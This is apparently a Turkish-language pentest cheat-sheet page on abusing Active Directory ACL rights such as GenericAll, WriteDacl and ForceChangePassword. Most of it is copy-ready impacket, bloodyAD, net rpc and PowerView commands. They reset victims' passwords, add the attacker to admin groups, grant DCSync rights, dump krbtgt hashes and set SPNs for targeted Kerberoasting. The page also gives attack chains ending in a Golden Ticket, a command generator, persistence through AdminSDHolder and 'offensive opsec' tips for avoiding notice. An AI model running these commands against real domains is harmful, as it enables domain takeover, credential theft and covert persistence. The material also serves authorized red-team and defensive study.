ACL Abuse
MITRE ATT&CK · T1222.001 phase: privilege escalation
MITRE ATT&CK · T1222.001 phase: privilege escalation
Active Directory nesneleri (kullanıcı, grup, bilgisayar, GPO, OU) üzerindeki erişim kontrol listeleri (ACL/DACL) yanlış yapılandırıldığında, düşük yetkili bir hesap başka bir nesne üzerinde kontrol kazanabilir. BloodHound bu ilişkileri kenar (edge) olarak gösterir ve Domain Admins’e giden yolu çizer. ACL abuse çoğu modern AD privesc’in (RBCD, Shadow, DCSync ACE, GPO) ortak ön adımıdır.
Sık istismar edilen haklar
Section titled “Sık istismar edilen haklar”| Hak / Edge | Etki | Tipik sömürü |
|---|---|---|
GenericAll | Tam kontrol | parola reset, SPN, group add, RBCD, shadow |
GenericWrite | Özellik yazma | targeted Kerberoast, RBCD, shadow, scriptPath |
WriteDacl | ACL yaz | kendine GenericAll / DCSync |
WriteOwner | Owner ol | sonra WriteDacl |
Owns | Zaten owner | WriteDacl |
ForceChangePassword | Parola sıfırla | net rpc password / bloodyAD |
AddMember | Gruba ekle | DA / IT grupları |
AllExtendedRights | Extended | ForceChangePassword vb. |
WriteProperty (spesifik) | Tek attribute | msDS-KeyCredentialLink, AllowedToAct |
| DCSync rights | Replikasyon | DCSync |
Find-InterestingDomainAcl -ResolveGUIDsGet-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDsGet-PathAcl \\domain.local\SYSVOLimpacket-dacledit -action read -target 'Domain Admins' \ domain.local/user:'Pass' -dc-ip DCbloodyAD -u user -p 'Pass' -d domain.local --host DC \ get objectacl 'CN=Target,CN=Users,DC=domain,DC=local'BloodHound: Shortest Paths to Domain Admins, ACL kenarlarını tek tek aç.
Örnek senaryolar
Section titled “Örnek senaryolar”-
ForceChangePassword — hedef kullanıcının parolasını sıfırla: Note Parola reset oturumları düşürür / kullanıcı fark eder — mümkünse Shadow Credentials tercih et.
Terminal window net rpc password 'victim' 'NewPass123!' \-U 'domain.local/attacker%Pass123' -S 10.10.10.5Terminal window bloodyAD -u attacker -p 'Pass123' -d domain.local --host 10.10.10.5 \set password victim 'NewPass123!' -
AddMember — kendini / controlled user’ı gruba ekle:
Terminal window bloodyAD -u attacker -p 'Pass123' -d domain.local --host DC \add groupMember 'IT Admins' attackerTerminal window net group 'IT Admins' attacker /add /domain -
WriteDacl / GenericAll → DCSync :
Terminal window impacket-dacledit -action write -rights DCSync -principal attacker \-target-dn 'DC=domain,DC=local' domain.local/attacker:'Pass123'Terminal window bloodyAD -u attacker -p 'Pass123' -d domain.local --host DC \add dcsync attackerTerminal window impacket-secretsdump -just-dc-user krbtgt domain.local/attacker:'Pass123'@DC -
GenericWrite → Targeted Kerberoast :
Terminal window Set-DomainObject -Identity victim -Set @{serviceprincipalname='http/evil'}Terminal window Set-DomainObject -Identity victim -Clear serviceprincipalname -
GenericWrite on Computer$ → RBCD / Shadow : RBCD
-
Shadow Credentials
-
WriteOwner zinciri :
Terminal window bloodyAD -u attacker -p 'Pass' -d domain.local --host DC \set owner 'CN=Target,CN=Users,DC=domain,DC=local' attackerTerminal window bloodyAD ... add genericAll 'CN=Target,...' attacker -
GPO / OU : GPO Abuse
-
OU GenericAll → child nesneler / GPLink
AdminSDHolder / Protected groups
Section titled “AdminSDHolder / Protected groups”adminCount=1 nesnelerde SDProp ACL’i ~60 dk’da AdminSDHolder’dan kopyalar. Geçici ACE yazsan bile geri alınabilir; kalıcılık için AdminSDHolder üzerine yaz.
Komut üreteci
Section titled “Komut üreteci”ForceChangePassword · net rpc
embedded toolnet rpc password victim NewP@ss123 -U domain.local/attacker%Pass123 -S 10.10.10.5ForceChangePassword · net rpc
Section titled “ForceChangePassword · net rpc”Saldırı zinciri örnekleri
Section titled “Saldırı zinciri örnekleri”GenericAll on soft_admin user → Shadow Credentials (reset yok) → soft_admin NT → AddMember on Backup Operators → NTDS copy → krbtgt
WriteDacl on domain object → DCSync ACE → secretsdump → Golden TicketOpsec (ofansif)
Section titled “Opsec (ofansif)”- ForceChangePassword en “görünür” kullanıcı etkisi — Shadow/RBCD tercih.
- DCSync ACE bırakmak kalıcılıktır; angajmanda temizle veya bilerek bırak.
- Targeted Kerberoast SPN’ini mutlaka geri al.
- Toplu Find-InterestingDomainAcl LDAP gürültüsü — BloodHound DCOnly yeterli olabilir.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- BloodHound kenarı stale — exploit öncesi dacledit read ile doğrula.
- Deny ACE allow’dan önce gelir.
- Nested group ile gelen hak — MemberOf yolunu takip et.
- GenericWrite ≠ her attribute; property set kısıtları.
- Protected Users / SID filtering trust senaryolarında etki değişir.
Sonraki adımlar
Section titled “Sonraki adımlar”DCSync · RBCD · Shadow Credentials · GPO Abuse · BloodHound